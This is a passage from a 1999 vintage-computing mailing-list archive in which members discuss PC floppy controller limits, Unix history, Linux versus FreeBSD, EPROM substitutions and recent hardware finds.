Hence the infamous cable twist, such that each > drive sees a particular drive select (it's the second select line) and the > motor-on signal in the standard place. However, from the point of view of > either drive, there is another motor signal on a pin which would otherwise > be a select line for another drive. Thus you can't use all 4 drive > selects, and hence only two drives per controller cable. > > Another way to look at it, is to assume that IBM wanted all drives to have > the same jumper settings, including the drive select jumper. But instead > of putting a twist in the cable which would just swap some of the select > lines, they used a twist over a wider section. Unfortunately that also > moves the motor control line to where a select line would normally be. > Thus they need another motor control line somewhere else (where a drive > select would be, obviously), and end up only being able to put half as many > drives on the bus. > > -- > > Pete Peter Turnbull > Dept. of Computer Science > University of York > From djenner at halcyon.com Sat Jan 16 17:22:28 1999 From: djenner at halcyon.com (David C. Jenner) Date: Sun Feb 27 18:40:12 2005 Subject: UNIX License plate References: <199901161117.DAA16032@geocities.com> <4.1.19990116132726.00a06920@208.226.86.10> Message-ID: <36A11F34.33106E06@halcyon.com> I have one I got at the 1983 Unicom (Usenix/Uniform) meeting. Armando Stetner of DEC was giving them out to celebrate DECs decision to support their version of Unix (became Ultrix). The one I have says "Trademark of Bell Labs". I've seen later ones with later TM holders credited. Just to be complete, here's the full content of the plate: LIVE FREE OR DIE UNIX* TRADEMARK OF BELL LABS* I'd be happy to sell this, but only for a big price. It'll make a great decoration for my PDP-11/73 running 2.11BSD. I got several other "curios" at the 1983 Unicom meeting: - A large round button from Sun that says "The Joy of Unix" - A sponge (from Perkin-Elmer, I think) that says: "Unix Software" - other stuff I don't remember now under piles The Unicom meeting was immediately after the CP/M '83 meeting, which marked the pinnacle of CP/M. It went down hill pretty fast after that. Dave Chuck McManis wrote: > > At 06:36 AM 1/16/99 -0500, you wrote: > >ObCC: Around 1980 or so, I knew somebody with a license plate that said > >"Unix: Live Free or Die". Was this issued by Bell Labs? And who has one > >they'd like to sell? > > The New Hampshire vanity plate (state motto "Live Free or Die") UNIX was > registered to Bill Shannon who worked at Sun (still does actually). Some > vendor did some fake plates for one of the Uniforum conferences but I don't > know if Bill got any royalties :-) > > --Chuck From dastar at ncal.verio.com Sat Jan 16 17:23:19 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162259.OAA25788@geocities.com> Message-ID: On Sat, 16 Jan 1999, Max Eskin wrote: > > Here's an analogy for you: > > > > Linux = DOS > > FreeBSD = CP/M > > > > Therefore, Linux will come to dominate the world. So don't worry. > > I'm sorry, but I don't know the vital distinction between the two, and > would like to find out. As I understand, Linux is somewhat less secure and > less stable; but what else? And why is Linux less secure/stable? I don't know where you heard that but its nonsense. FreeBSD = Cathedral development Linux = Bazaar development Read "The Cathedral and the Bazaar" by Eric Raymond to understand what I mean. http://www.tuxedo.org/~esr/writings/index.html Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From roblwill at usaor.net Sat Jan 16 20:22:11 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:12 2005 Subject: Oops...... Message-ID: <01be41c0$3064ef00$438ea6d1@the-general> Oops... That last message wasn't supposed to be posted to the list. Sorry... -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From ard at p850ug1.demon.co.uk Sat Jan 16 17:18:36 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <9901161814.ZM2472@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 16, 99 06:14:07 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1285 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/ce449d91/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 17:23:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: victor 9000 (also called Sirius) (fwd) In-Reply-To: from "Vintage Computer Festival" at Jan 16, 99 12:17:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 910 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/7a45c364/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 17:26:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Anyone have an extra IBM 5155 laying around?? In-Reply-To: <01be41a6$51a99f40$LocalHost@THEGENERAL> from "Jason Willgruber" at Jan 16, 99 03:16:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 430 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/c3e40676/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 17:32:52 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901172041.PAA06995@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 17, 99 03:39:39 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1691 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/e755448a/attachment.ksh From donm at cts.com Sat Jan 16 18:00:41 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:12 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: , RAM uprade) In-Reply-To: Message-ID: On Sat, 16 Jan 1999, Tony Duell wrote: > > > *Why we are limited to 2 floppy drives in DOS > > > > Actually, you can have 4, if you have a controller at the secordary floppy > > controller address as well as at the primaryfloppy controller address. > > Each controller can only have two drives because of a silly hardware setup > > chosen by IBM. > > Actually, you can have 4 _per controller_, for a total of 8 drives. > The original PC and XT controller has 2 drive connectors. One is a 34 pin > card edge used for the internal drives. The other is a DC37 on the back > panel used for the external drives. Each connector has 2 drive select > signals and 2 motor-on signals. > > The AT controller, alas, only has the internal connector, so it only > supports 2 drives. But in theory it would be possible to have an AT > controller with 2 drive connectors. The enable bits for the extra drives > are simply called 'reserved' in the output registers, nothing to stop > them being used as they were on the XT. > > Unfortunately all the single-chip floppy controllers only support 2 > drives. Great pity... Not true, Tony, if you are talking FDC chips. The CompatiCard IV is a single chip, as are the WD FOX and some DTK cards and others as well. - don > The Linux floppy driver (or at least the one in this old kernel) will > support 8 drives like that. 4 of them (drives 2 and 3 on each controller) > are normally disabled in software, but it's a trivial, and documented, > patch to enable them > > -tony > > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From meo at netads.com Sat Jan 16 18:21:39 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162259.OAA25788@geocities.com> from "Max Eskin" at Jan 16, 99 05:56:33 pm Message-ID: <199901170021.SAA24420@wildride.netads.com> Someone said: |> Linux = DOS |> FreeBSD = CP/M |> |> Therefore, Linux will come to dominate the world. So don't worry. This is just the sort of silliness I was hoping to avoid. Then Max Eskin asked... |I'm sorry, but I don't know the vital distinction between the two, and |would like to find out. As I understand, Linux is somewhat less secure and |less stable; but what else? And why is Linux less secure/stable? 98% of what you will hear is just one group bashing the other. Both have strengths and weaknesses. I am running Linux for one reason, and one reason only: When I needed to get a commercial site up fast on the hardware available, *no* BSD implementation available supported the onboard SCSI chip the system used. [1] Linux did. I really wanted to go with BSD because I *knew* it. But I went with Linux, and it's done fine. My 1.2.8+ [2] Linux kernel has proven plenty stable - slightly more so, in fact, than the BSD kernel we run on the web/ftp/mail/DNS server at work. I have now switched to a 1.3.97 kernel, *without recompiling a single pice of software*, and have had exactly one problem, which will require recompilation. But both my Linux system and the BSD system at work easily stay up for months at a time. How many production NT boxes under a real load will do that? (And of course a decade ago, smarts SAs tended to reboot UNIX boxes more often than that, anyway.) We're switching to Linux at work only because there's more software available, and we have more knowledge available for Linux than BSD. -Miles [1] They encouraged me to write my own driver. In a perfect world, sure, but (a) I needed a working OS right then, and (b) I was hardly an expert on SCSI driver chips. [2] patched a fair amount From roblwill at usaor.net Sat Jan 16 21:09:05 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:12 2005 Subject: Anyone have an extra IBM 5155 laying around?? Message-ID: <01be41c6$be0ff740$438ea6d1@the-general> Well, I think the only card that was in it was the video card (HD and floppy controllers had been removed). The first slot (closest to the side of the case) on the XT and PC motherboards do match up. I think for the cassette port, he just drilled a hole in the case, or cut something. I'm not too sure how he did it, because it's been 5 years since I've seen it. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Saturday, January 16, 1999 3:49 PM Subject: Re: Anyone have an extra IBM 5155 laying around?? > >Ouch... That takes a lot of metal-bashing to (a) make a hole for the >cassette connector) and (b) get the 5 slots on the PC motherboard to >attempt to line up with suitable holes in the case. No thanks... It would >have been a lot less work to fix that floppy.... > >-tony > > From kurtkilgor at bigfoot.com Sat Jan 16 18:33:58 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems Message-ID: <199901170034.QAA12883@geocities.com> > I don't know where you heard that but its nonsense. > > FreeBSD = Cathedral development > Linux = Bazaar development > > Read "The Cathedral and the Bazaar" by Eric Raymond to understand what I > mean. Oh, so you're saying that Linux will defeat FreeBSD solely because of its possibly superior development model. So, where does the DOS\CP/M comparison come from? From lemay at cs.umn.edu Sat Jan 16 18:38:18 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:12 2005 Subject: OS2 2.00.1 Message-ID: <199901170038.SAA10351@thufir.cs.umn.edu> Does anyone want/need OS2 2.00.1 ? I have quite a few sets of these I set aside in a box many years ago. Also, if anyone needs any of the stuff that came with the IBM Valuepoint 33Mhz DX systems (user guides, etc) I have plenty of sets of those too. Most of this stuff is still in shrinkwrap. -Lawrence LeMay lemay@cs.umn.edu From jruschme at exit109.com Sat Jan 16 18:45:52 1999 From: jruschme at exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162053.PAA11955@pechter.nws.net> from Bill Pechter at "Jan 16, 99 03:53:36 pm" Message-ID: <199901170045.TAA02998@crobin.home.org> > > Of course, it's a good feeling to even have the option. > > Because 10 - 12 years ago, what were your UNIX options, if > > you weren't the government or a university? > > > > 1) You could buy expensive hardware that ran a UNIX variant. > > 2) You bought a workstation from Sun or Apollo - still not cheap. > > 3) If you were lucky, you got one of the few Cromemcos or > > Perkin-Elmer desktops, that ran UNIX. But they weren't > > much less expensive than the Sun, Apollo, etc workstations. > > (Fortune's desktops were in the workstation price range.) > > 4) If you were really lucky, you found a good deal on a used > > PDP from someone with a UNIX license who forgot to wipe the > > disks or tapes - but then you were illegal. > > 5) You bought Minix. Minix was cheap, and you got source, but > > it was really meant to be a teaching tool. It was well done, > > but extremely limited. (Nevertheless, Tanenbaum's _Operating > > Systems Design and Implementation_ is still an excellent book.) > > 6) If you were *really* lucky, you got a good deal on a working > > workstation. Three more thoughts... 7) You shell out big bug for XENIX or Microport SVR2 on the AT. 8) You buy one of the "fire sale" AT&T Unix PCs (7300). 9) You "cheat" with a clone envoronment like Wendin's PC/Unix or early MKS toolkits. <<>> From dastar at ncal.verio.com Sat Jan 16 19:13:53 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901170034.QAA12883@geocities.com> Message-ID: On Sat, 16 Jan 1999, Max Eskin wrote: > > I don't know where you heard that but its nonsense. > > > > FreeBSD = Cathedral development > > Linux = Bazaar development > > > > Read "The Cathedral and the Bazaar" by Eric Raymond to understand what I > > mean. > > Oh, so you're saying that Linux will defeat FreeBSD solely because of its > possibly superior development model. So, where does the DOS\CP/M comparison > come from? The analogy was only intended to indicate that DOS survived and CP/M basically did not. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From allisonp at world.std.com Sat Jan 16 19:22:43 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems Message-ID: <199901170122.AA22971@world.std.com> <> 5) You bought Minix. Minix was cheap, and you got source, but <> it was really meant to be a teaching tool. It was well done, <> but extremely limited. (Nevertheless, Tanenbaum's _Operating <> Systems Design and Implementation_ is still an excellent book.) < References: <199901162259.OAA25788@geocities.com> Message-ID: <4.1.19990116171400.00a45170@208.226.86.10> Even today there is much confusion. BSD predates Linux by a significant amount of time, if it hadn't been for AT&T there would be no Linux. Linus Torvalds wanted UNIX on his PC, he didn't want to pay for it, he got a copy of MINIX (part of Tannenbaum(sp?)'s operating systems fundamentals course) and ported it to his hardware. He thought it sucked. He began improving it, he and Tannenbaum got into many flame wars on the net, Linus kept releasing his work in progress, other people started contributing, eventually something usable was available, a long while later something stable was available. The Computer Systems Research Group (CSRG) at Berkeley was being disbanded, they wanted to release the Berkeley Standard Distribution (aks BSD) to the public. AT&T sued them (and BSDI and others) on the grounds that there was proprietary AT&T code in the release. (The first attempt was the BSD 4.3 release) The lawsuit took several years to play out, the result was that AT&T identified all of the code they considered "theirs". After a negotiation both sides agreed to what was the disputed code. Once settled the remaining members of the CSRG went about re-writing the code that was contested and replacing it in the kernel/system. The result was a "clean" version of BSD and it was dubbed "FreeBSD" because is was "free of encumberences" and an AT&T source license requirement. This became the basis of 4.4BSD and it spawned FreeBSD. Both BSDI and NetBSD followed similar routes (making their products "free of AT&T code.") and that is sort of where we would be today, except that the FreeBSD guys are a bit "chummy" about who can and cannot change the code in FreeBSD which increases stability but pisses some people off. A group of those people started "OpenBSD" which was, AFAICT, FreeBSD with no source control. (the bazaar model of development). Legally there is another HUGE difference between FreeBSD and Linux and it may end up killing Linux in the end. That is of coures the GNU Public License. Companies that build products out of machines running Linux are bound by the GPL to give away any code they develop that they ship as _part of Linux_. People who develop to FreeBSD are under no such restrictions. It has been hypothesized that this will lead to a host of incompatible FreeBSD variants, however my guess is that this won't be the case. It isn't the main APIs of the OS that people are changing, its things like drivers and improvements to the networking stack that people would rather keep as their "value add" as it were. On a related note, I'm currently in the process of creating a "full spec" system. I tried at one point to collect documentation on my desktop PC that was as complete as the documentation on my PDP-8/e. This was impossible due to the fact that Intel requires a signed non-disclosure agreement before they will describe the operation of their chips or CPUs. Fortunately, AMD has no such problem. I'm swapping out the Intel crap for a motherboard that has a documented chip set (MVP3) and a CPU that has a documented architecture (K6-2). The goal is to have a system where every component is completely described such that it would be possible, given time, for someone to completely "know it" at the register level. --Chuck McManis From ard at p850ug1.demon.co.uk Sat Jan 16 19:21:28 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: , RAM uprade) In-Reply-To: from "Don Maslin" at Jan 16, 99 04:00:41 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 696 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/3f4a1f1c/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 19:24:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Anyone have an extra IBM 5155 laying around?? In-Reply-To: <01be41c6$be0ff740$438ea6d1@the-general> from "Jason Willgruber" at Jan 16, 99 07:09:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 804 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/729859bf/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jan 16 19:34:23 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Linux vs FreeBSD In-Reply-To: <4.1.19990116171400.00a45170@208.226.86.10> from "Chuck McManis" at Jan 16, 99 05:32:10 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2115 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/673fb0db/attachment.ksh From donm at cts.com Sat Jan 16 19:45:14 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:12 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: , RAM uprade) In-Reply-To: Message-ID: On Sun, 17 Jan 1999, Tony Duell wrote: > [4 drives/controller] > > > Unfortunately all the single-chip floppy controllers only support 2 > > > drives. Great pity... > > > > Not true, Tony, if you are talking FDC chips. The CompatiCard IV is a > > single chip, as are the WD FOX and some DTK cards and others as well. > > OK... All the single-chip floppy controllers (that's FDC + clock + data > separator + PC-style drive logic on one chip) that I have data sheets on > only support 2 drives > > There are probably some custom chips that support all 4 drives, but then > I don't use chips I can't get a full data sheet on in any machine that I > depend on... > > Equally likely, there are chips that I've not come across yet... Well, the CompatiCard IV uses the NEC N82077-1, the WD FOX has a WD37C65BJM, and the DTK has a NS DP8473V. - don From doug at blinkenlights.com Sat Jan 16 20:17:23 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:12 2005 Subject: Linux vs FreeBSD In-Reply-To: <4.1.19990116171400.00a45170@208.226.86.10> Message-ID: On Sat, 16 Jan 1999, Chuck McManis wrote: > Linus Torvalds wanted UNIX on his PC, he didn't want to pay for it, he got > a copy of MINIX (part of Tannenbaum(sp?)'s operating systems fundamentals > course) and ported it to his hardware. He thought it sucked. He began > improving it, he and Tannenbaum got into many flame wars on the net, Linus > kept releasing his work in progress, other people started contributing, > eventually something usable was available, a long while later something > stable was available. I only remember one flame war, but I also remember Linus writing a kernel to learn about the 386 -- it was an intellectual exercise as much as anything. I recall an effort to create a 286 protected mode version of Minix (mostly by Bruce Somebody in Oz) before Linus' effort was underway, so it's not like there were no alternatives at the time. It's not at all clear that Linus would have taken up a different hobby even if the BSD sources had been released when Berkeley freed them up. I was running Minix, Microport AT, and ISC's 386 Unix on my PCs during those days, and they were pretty nice and not very expensive (I think I managed to get a good deal pretending to be a reseller or something). Later, I remember UnixWare getting pretty cheap as well. When Linux stabilized, it was simply cheaper, better, smaller, and faster than anything available, and remains so today. It's great that FreeBSD exists, and I preferred it for a while because it was more familiar and had better networking support for a couple of months, but I'd never go back. Now that the world has a nice OS, it'd be cool if somebody would write a nice GUI. If Linus found Minix boneheaded, there's got to be a thousand guys with talent and lots of free time that see X's holes. -- Doug From roblwill at usaor.net Sat Jan 16 23:41:59 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:12 2005 Subject: Anyone have an extra IBM 5155 laying around?? Message-ID: <01be41dc$1a2697e0$7e9ba6d1@the-general> Well, I remember the teacher telling me that he found the computer in his basement, and just brought it to the school to show the kids how the computers used to be when you had to program them, and you didn't just stick in a disk and turn it on. Apparently, I was the only one (well, there was one other person) that was interested in it. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Saturday, January 16, 1999 5:32 PM Subject: Re: Anyone have an extra IBM 5155 laying around?? >Right... That makes sense.... > >I still wonder if a cheap clone floppy controller or drive (whichever was >needed) wouldn't have been cheaper/easier than putting a 5150 board in >there. I assume that 5150 came out of a PC, so why didn't he use the >controller or drive from that machine. A full-height drive kludged on >externally would have worked and been a lot nicer than a cassette-based >machine. > >Of course fixing the original parts probably wouldn't have been too hard >either, but then a lot of people seem to be frightened by a simple >schematic... > >-tony > > From ard at p850ug1.demon.co.uk Sat Jan 16 20:18:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:12 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: , RAM uprade) In-Reply-To: from "Don Maslin" at Jan 16, 99 05:45:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 618 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/84df80b0/attachment.ksh From eric at brouhaha.com Sat Jan 16 21:44:40 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:12 2005 Subject: TK50Z-GA EPROM In-Reply-To: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> (message from Bruce Lane on Sat, 16 Jan 1999 09:38:29 -0800) References: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> Message-ID: <19990117034440.15264.qmail@brouhaha.com> Bruce Lane wrote: > You'll need a standard 27256 (not a 'C', just a regular one) EPROM to do > the update. I can't imagine any reason why a 27C256 shouldn't work, as long as it was rated for the correct speed (or faster). The drive shouldn't be able to tell the difference. From eric at brouhaha.com Sat Jan 16 21:59:13 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:12 2005 Subject: Linux vs FreeBSD In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990117035913.15332.qmail@brouhaha.com> Chuck wrote: > architecture (K6-2). The goal is to have a system where every component is > completely described such that it would be possible, given time, for > someone to completely "know it" at the register level. Tony replied: > It's even more fun to know it at the gate level, or at least at the IC > pin level. Life isn't long enough to understand a Pentium-class processor at the gate level. At least, not long enough to do that and other fun things as well. Heck, I've got the prints for my KL10 and I still don't understand it to the gate level, and it's *MUCH* simpler than a Pentium. Of course, not having enough time to fully understand it is no excuse for not *wanting* the gate-level drawings. But you're not going to get those out of either Intel or AMD. From gregorym at cadvision.com Sat Jan 16 22:16:33 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:40:12 2005 Subject: Questions on today's acquisitions Message-ID: <3.0.32.19990116211632.0124bfa0@cadvision.com> At 06:23 PM 1/15/99 -0500, you wrote: >> Texas Instruments Compact Computer 40. This is a lot like the TRS-80 >> PC-4 in appearance, but a bit bigger. It has BASIC in ROM and a >> connector for cartridges. Is there anything actually useful for this? >> THe keyboards too small to do any actual word processing. > >I have one of these too. TI supposedly made a thermal printer, an RS-232 >interace, and a 70KB tape drive, which would plug in to the six-pin BERG >connector on the back, next to the power jack. I use it as a programmable >scientific calculator. > The thermal printer and RS-232 interface were both produced, but not in large numbers. They're hard to find. A few pieces of cartidge software (or as TI liked to call it, "Solid State Software") were produced, AFAIK, but also not in large numbers. I've never seen any in six years of looking. The tape drive, called a "Wafertape" drive, was pretty much vapourware. There were a few prototype units sold, but it was never in full production, because TI couldn't get the bugs worked out. The box for my CC-40 has a sticker attached that says "Tape drive not available". The lack of secondary storage pretty much doomed the CC-40 as a computer; it never caught on. I think there was an article in the book "The Best of 99'er Magazine" on how to build a cable to connect a CC-40 to a TI-99/4A. I also used mine as a programmable calculator. Cheers. Mark. > > From marvin at rain.org Sat Jan 16 23:34:52 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:12 2005 Subject: Todays Finds References: <01be41be$e4a89e00$438ea6d1@the-general> Message-ID: <36A1767C.611B039@rain.org> Hi Jason, Sure. I got a note from another listmember who has three of the power supply units, and we will be working out something so I can get them. When I acquired these units, I told the guy if I did end up getting rid of them, I would pass the money on to him, and by the time the power supplies get here, there will probably be between $15 and $20 into them. I don't know where you live, but probably at the most you are looking at about $10 UPS shipping. Let me know if this is okay, and I'll put one aside for you. Thanks. Marvin > Want to sell one of the Convertibles? It doesn't matter that there's no > power supply, or even if it works or not. I collect old laptops, and the > Convertible is one of the ones that I don't have. > > ThAnX, > -- > -Jason Willgruber > (roblwill@usaor.net) > ICQ#: 1730318 > > > -----Original Message----- > From: Marvin > To: Discussion re-collecting of classic computers > > Date: Saturday, January 16, 1999 2:03 PM > Subject: Todays Finds > > >I got a call on the radio from another ham checking out garage sales, and > he > >told me about a Unix machine. When I went over, the machine turned out to > >be an IBM RT with docs and disks! There was also a Compucorp 675 that I > was > >told was a dedicated word processor (no docs.) The guy wanted $15 for the > >RT and was giving away the Compucorp so I gave him $20 *after* I told him I > >have so many machines I don't usually buy them, and we had a nice talk. He > >will see if there are any docs for it and he will be talking to others that > >have been in the business since the late '70s and early '80s. Went to the > >club station where I was given a Mac IIvx (OT? as I have no idea what era > it > >is from.) Another guy had just visited the local scrap yard and gave me 3 > >IBM Convertibles w/ no power supplies. All in all, not a bad day! > > > >Anyone know anything about the Compucorp 675? > > From marvin at rain.org Sat Jan 16 23:40:01 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:12 2005 Subject: Todays Finds References: <01be41be$e4a89e00$438ea6d1@the-general> <36A1767C.611B039@rain.org> Message-ID: <36A177B1.919FDBFE@rain.org> Darn it, sorry. That last message was supposed to be private rather than clutter up the listserver . From donm at cts.com Sun Jan 17 00:21:48 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:12 2005 Subject: TK50Z-GA EPROM In-Reply-To: <19990117034440.15264.qmail@brouhaha.com> Message-ID: On 17 Jan 1999, Eric Smith wrote: > Bruce Lane wrote: > > You'll need a standard 27256 (not a 'C', just a regular one) EPROM to do > > the update. > > I can't imagine any reason why a 27C256 shouldn't work, as long as it was > rated for the correct speed (or faster). The drive shouldn't be able to > tell the difference. A matter of interpretation, I guess. I read it that a 27C256 was not REQUIRED and that a standard 27256 would do fine. - don From kyrrin at bluefeathertech.com Sun Jan 17 01:21:55 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:12 2005 Subject: TK50Z-GA EPROM In-Reply-To: <19990117034440.15264.qmail@brouhaha.com> References: <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> <3.0.5.32.19990116093829.0093d100@mail.bluefeathertech.com> Message-ID: <3.0.5.32.19990116232155.00941910@mail.bluefeathertech.com> At 03:44 17-01-1999 -0000, you wrote: >I can't imagine any reason why a 27C256 shouldn't work, as long as it was >rated for the correct speed (or faster). The drive shouldn't be able to >tell the difference. No, but the bridge board might. Admittedly, I'm not 100% sure what the difference is between the standard and CMOS versions. Any enlightenment. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com Amateur Radio:(WD6EOS) E-mail: kyrrin@bluefeathertech.com SysOp: The Dragon's Cave (Fido 1:343/272, 253-639-9905) "Our science can only describe an object, event, or living thing in our own human terms. It cannot, in any way, define any of them..." From spc at armigeron.com Sun Jan 17 02:30:17 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901162259.OAA25788@geocities.com> from "Max Eskin" at Jan 16, 99 05:56:33 pm Message-ID: <199901170831.DAA09717@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1825 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990117/4aaa43e6/attachment.ksh From gram at cnct.com Sun Jan 17 03:43:50 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:12 2005 Subject: thoughts on UNIX and older systems References: <199901170045.TAA02998@crobin.home.org> Message-ID: <36A1B0D6.F19E48E9@cnct.com> John Ruschmeyer wrote: > > > > Of course, it's a good feeling to even have the option. > > > Because 10 - 12 years ago, what were your UNIX options, if > > > you weren't the government or a university? > > > > > > 1) You could buy expensive hardware that ran a UNIX variant. > > > 2) You bought a workstation from Sun or Apollo - still not cheap. > > > 3) If you were lucky, you got one of the few Cromemcos or > > > Perkin-Elmer desktops, that ran UNIX. But they weren't > > > much less expensive than the Sun, Apollo, etc workstations. > > > (Fortune's desktops were in the workstation price range.) > > > 4) If you were really lucky, you found a good deal on a used > > > PDP from someone with a UNIX license who forgot to wipe the > > > disks or tapes - but then you were illegal. > > > 5) You bought Minix. Minix was cheap, and you got source, but > > > it was really meant to be a teaching tool. It was well done, > > > but extremely limited. (Nevertheless, Tanenbaum's _Operating > > > Systems Design and Implementation_ is still an excellent book.) > > > 6) If you were *really* lucky, you got a good deal on a working > > > workstation. > > Three more thoughts... > > 7) You shell out big bug for XENIX or Microport SVR2 on the AT. My two TRS-80 Model 16s were bought when their leases expired and the companies chose not to do the buy-out. One cost me $300, the other cost me $250 back in '85 and '86, since the Radio Shack Computer Center managers didn't want them either -- they had Tandy 6000s. Since I was still working for Radio Shack at the time, I wasn't too concerned about the licensing issues of upgrading to the latest version of the Xenix runtime and development software. > 8) You buy one of the "fire sale" AT&T Unix PCs (7300). That's what I did after my second TRS-80 Model 16 was murdered by the electric company. > 9) You "cheat" with a clone envoronment like Wendin's PC/Unix or > early MKS toolkits. The MKS Toolkit worked just fine on the Tandy 2000. Surprised the Hell out of me, since so much other software was ill-behaved. The MKS folks properly used the MS-DOS system calls instead of going straight to the PC hardware. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Sun Jan 17 04:10:55 1999 